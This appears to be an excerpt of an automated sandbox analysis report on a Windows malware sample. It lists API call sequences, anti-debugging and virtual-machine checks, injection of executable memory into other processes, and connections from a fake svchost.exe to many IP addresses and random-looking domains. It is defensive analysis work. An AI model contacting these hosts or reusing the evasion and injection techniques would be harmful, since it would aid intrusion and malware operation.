Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0125D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	6_2_0125D0C0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0125BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	6_2_0125BB20
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0125BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	6_2_0125BBE9
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01267CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,	6_2_01267CE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_0126BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,	6_2_0126BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_012466D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,	6_2_012466D0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0105D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	7_2_0105D189
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0105D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	7_2_0105D0C0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0105BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	7_2_0105BB20
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0105BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	7_2_0105BBE9
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_01067CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,	7_2_01067CE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_0106BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,	7_2_0106BE40
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_010466D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,	7_2_010466D0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A3D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	9_2_00A3D0C0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A3D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	9_2_00A3D189
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A3BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	9_2_00A3BBE9
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A3BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,	9_2_00A3BB20
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A47CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,	9_2_00A47CE0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A266D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,	9_2_00A266D0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A4BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,	9_2_00A4BE40

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C9C3DB GetLogicalDriveStringsA,GetDriveTypeA,SetErrorMode,free,

2_2_02C9C3DB

Source: C:\Windows\apppatch\svchost.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001018000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: svchost.exe, 00000002.00000003.2178331950.0000000000894000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2252938368.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3413102831.000000000088A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSAFD L2CAP [Bluetooth]Hyper-V RAWRSVP UDPv6 Service Provider
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2676884944.0000000000988000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP2
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000021.00000002.2735525180.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllM
Source: PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000001B.00000002.2704786196.0000000001387000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: svchost.exe, 00000002.00000003.2223016601.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2252938368.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3413265981.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279237129.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001018000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000002.00000002.3407860513.0000000000826000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: UMwpXhA46R.exe, 00000000.00000002.2153963365.000000000069E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ~windows\system32\vmhgfs.DLL
Source: svchost.exe, 00000002.00000002.3407860513.0000000000826000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hwindows\system32\vmhgfs.DLL

Source: C:\Windows\apppatch\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00401A30 rdtsc

0_2_00401A30

Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Code function: 6_2_012564A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,

6_2_012564A0

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C76A30 NtQuerySystemInformation,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,_snprintf,memset,_snprintf,OpenMutexA,

2_2_02C76A30

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_00401FC0 memset,SHGetFolderPathA,PathAppendA,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,

0_2_00401FC0

Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00406800 mov eax, dword ptr fs:[00000030h]	0_2_00406800
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00406B60 mov eax, dword ptr fs:[00000030h]	0_2_00406B60
Source: C:\Users\user\Desktop\UMwpXhA46R.exe	Code function: 0_2_00406B60 mov edx, dword ptr fs:[00000030h]	0_2_00406B60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00406800 mov eax, dword ptr fs:[00000030h]	2_2_00406800
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00406B60 mov eax, dword ptr fs:[00000030h]	2_2_00406B60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_00406B60 mov edx, dword ptr fs:[00000030h]	2_2_00406B60
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029A1360 mov eax, dword ptr fs:[00000030h]	2_2_029A1360
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029A1360 mov edx, dword ptr fs:[00000030h]	2_2_029A1360
Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_029A1000 mov eax, dword ptr fs:[00000030h]	2_2_029A1000
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_011E1360 mov eax, dword ptr fs:[00000030h]	6_2_011E1360
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_011E1360 mov edx, dword ptr fs:[00000030h]	6_2_011E1360
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_011E1000 mov eax, dword ptr fs:[00000030h]	6_2_011E1000
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_00FE1360 mov eax, dword ptr fs:[00000030h]	7_2_00FE1360
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_00FE1360 mov edx, dword ptr fs:[00000030h]	7_2_00FE1360
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_00FE1000 mov eax, dword ptr fs:[00000030h]	7_2_00FE1000
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_009C1360 mov eax, dword ptr fs:[00000030h]	9_2_009C1360
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_009C1360 mov edx, dword ptr fs:[00000030h]	9_2_009C1360
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_009C1000 mov eax, dword ptr fs:[00000030h]	9_2_009C1000

Source: C:\Users\user\Desktop\UMwpXhA46R.exe

Code function: 0_2_004010A0 CreateFileA,GetFileSizeEx,GetProcessHeap,RtlAllocateHeap,memset,ReadFile,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetHandleInformation,CloseHandle,IsBadWritePtr,

0_2_004010A0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\apppatch\svchost.exe	Network Connect: 106.15.232.163 8000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 64.190.63.136 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 3.94.10.34 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 72.52.179.174 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Domain query: qexyhap.com
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 45.79.19.196 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 154.85.183.50 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 64.225.91.73 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Domain query: purygeg.com
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 52.34.198.229 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 75.2.71.199 443	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 103.150.10.48 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 23.253.46.64 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 199.191.50.83 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 13.248.169.48 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 103.224.212.210 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 76.223.67.189 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Domain query: lyryjir.com
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 18.208.156.248 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 199.59.243.227 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 208.100.26.245 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 103.224.182.252 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Domain query: vojycit.com
Source: C:\Windows\apppatch\svchost.exe	Domain query: lymylen.com
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 188.114.97.3 443	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 44.221.84.105 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 154.212.231.82 80	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 188.114.96.3 443	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Network Connect: 85.17.31.122 80	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2EA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory allocated: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AF0000 protect: page execute and read and write	Jump to behavior
